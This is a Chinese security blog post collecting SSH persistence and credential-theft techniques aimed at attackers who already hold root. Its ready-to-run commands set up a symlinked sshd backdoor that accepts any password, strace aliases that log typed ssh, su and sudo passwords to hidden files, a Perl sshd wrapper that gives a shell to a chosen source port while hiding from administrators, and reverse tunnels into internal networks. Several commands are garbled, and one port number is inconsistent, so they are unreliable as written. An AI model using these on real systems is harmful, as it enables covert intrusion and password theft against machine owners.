关于SSH的一些老东西

admin 2022年1月10日08:42:03评论205 views字数 3048阅读10分9秒阅读模式

部分内容取自零组资料库


1.ssh 软连接后门使用


通过软连接建立一个ssh后门:

ln -sf /usr/sbin/sshd/usr/local/su;/usr/local/su -oport=12345

说明:建立软连接到/usr/local/su文件,也可以在其他目录,su文件名字不能变,变了就无法登录。当然可以通过其他设置,更改su名字也是可以的。然后启动,并指定监听12345端口,登录的时候密码随意即可,登录如下:

ssh [email protected] -p 12345

注意:这个如果目标在执行软连接的时候,如果使用了其他账号创建,则登录的时候需要使用对应的账号,而非root

上面提到要更改软连接su名字,需要用以下命令,xxxxxx为你需要更改的名字:

echo "
 #%PAM-1.0
 auth       sufficient   pam_rootok.so
 auth       include      system-auth
 account    include      system-auth
 password   include      system-auth
 session    include      system-auth " >> /etc/pam.d/xxxxxx

之后再开启端口监听,用于登录

ln -sf /usr/sbin/sshd /tmp/xxxxxx;/tmp/xxxxxx -oport=12345

当然,也可以使用其他软连接名字,但是文件必须得在/etc/pam.d 目录下存在。在/etc/pam.d目录下执行:

find ./ |xargs grep "pam_rootok"

出现如下内容,则说明以下的名字皆可以作为软连接名称
./config-util:auth sufficient pam_rootok.so
./chfn:auth sufficient pam_rootok.so
./chsh:auth sufficient pam_rootok.so
./runuser:auth sufficient pam_rootok.so
./su:auth sufficient pam_rootok.so
./xxxxxx:auth sufficient pam_rootok.so

ln -sf /usr/sbin/sshd /tmp/chsh;/tmp/chsh -oport=23333
ln -sf /usr/sbin/sshd /tmp/chfn;/tmp/chfn -oport=23334
ln -sf /usr/sbin/sshd /tmp/runuser;/tmp/runuser -oport=23335
....

登录方式同上


2. SSH 公钥免密登陆


ssh-keygen-t rsa //生成公钥

将id_rsa.pub内容放到目标.ssh/authorized_keys里

关于SSH的一些老东西



这种方式利用于权限维持话还是有点欠缺的,作用的话个人感觉是在一些特殊情况下获取一个交互的shell利用,如struts写入公钥,oracle写入公钥连接redis写入公钥等情景。


3. 利用strace获取ssh陆密码


strace本身其实是一个非常好用的系统调用跟踪工具,运维们可以通过它快速锁定问题的根源,但,恰巧我们也可以通过这种方式来跟踪任何进程数据,不只是可以监听连接他人,还可以用来抓到别人连入的密码。

应用场景如:通过漏洞获取root权限,但是不知道明文密码在横向扩展中可以使用。

alias ssh='strace -o /tmp/.sshpwd-`date '+%d%h%m%s'`.log -s 2048 ssh'

关于SSH的一些老东西

除了ssh,你也可以尝试跟踪su,sudo

alias su="strace -o /tmp/.su-`date'+%d%h%m%s'`.log su"

alias sudo="strace -o /tmp/.sudo-`date'+%d%h%m%s'`.log sudo"

直接使用ssh 登录测试效果

关于SSH的一些老东西


cat.sshpwd-17May051494975433.log | egrep "(read(4).*)"


关于SSH的一些老东西

关于SSH的一些老东西

 

当然我们也可以利用strace监听ssh来源流量

不只是可以监听连接他人,还可以用来抓到别人连入的密码。应用场景如:通过漏洞获取root权限,但是不知道明文密码在横向扩展中可以使用。

之前有用别名的方式来抓取登陆其他机器时的密码、同样也可以利用strace来监听登陆本地的sshd流量。

ps -ef| grep sshd #父进程PID

strace-f -p 12617 -o /tmp/.ssh.log -e trace=read,write,connect -s 2048


4. SSH wrapper


init首先启动的是/usr/sbin/sshd,脚本执行到getpeername这里的时候,正则匹配会失败,于是执行下一句,启动/usr/bin/sshd,这是原始sshd。原始的sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作。这个子进程,没有什么检验,而是直接执行系统默认的位置的/usr/sbin/sshd,这样子控制权又回到脚本了。此时子进程标准输入输出已被重定向到套接字,getpeername能真的获取到客户端的TCP源端口,如果是19526就执行sh给个shell。

服务端执行:

cd/usr/sbin/

mv sshd../bin

vimsshd //编辑sshd内容为以下

#!/usr/bin/perl

exec"/bin/sh"if(getpeername(STDIN)=~/^..LF/);// x00x00LF是19526的大端形式

exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;

servicesshd restart

客户端执行:

socatSTDIO TCP4:127.0.0.1:22,sourceport=19265

关于SSH的一些老东西

可以看到我利用socat限制了本地端口19526访问server的22端口反回一个sh窗。

修改端口可以修改..LF

importstruct

buffer= struct.pack('>I6',19526)

printrepr(buffer)


 

关于SSH的一些老东西

优点:

1、在无连接后门的情况下,管理员是看不到端口和进程的,last也查不到登陆。

2、在针对边界设备出网,内网linux服务器未出网的情况下,留这个后门可以随时管理内网linux服务器,还不会留下文件和恶意网络连接记录。


5.ssh隧道穿透内网

关于SSH的一些老东西

在moonsec服务器执行

ssh-fCNR [B机器IP或省略]:[B机器端口]:[A机器的IP]:[A机器端口] [登陆B机器的用户名@服务器IP]

ssh -fCNR7280:localhost:22 [email protected]

在hacklab服务器上执行

ssh-fCNL [A机器IP或省略]:[A机器端口]:[B机器的IP]:[B机器端口] [登陆B机器的用户名@B机器的IP]

ssh -fCNL*:1234:localhost:7280 localhost

 

*为任何机子都能访问

kali执行 ssh -p1234 [email protected] 即可访问 moonsec服务器 ssh服务 

-f 后台执行ssh指令

-C 允许压缩数据

-N 不执行远程指令

-R 将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口

-L 将本地机(客户机)的某个端口转发到远端指定机器的指定端口

-p 指定远程主机的端口

参考:moonsec 公众号

 


本文始发于微信公众号(关注安全技术):关于SSH的一些老东西

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月10日08:42:03
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   关于SSH的一些老东西http://cn-sec.com/archives/501394.html

发表评论

匿名网友 填写信息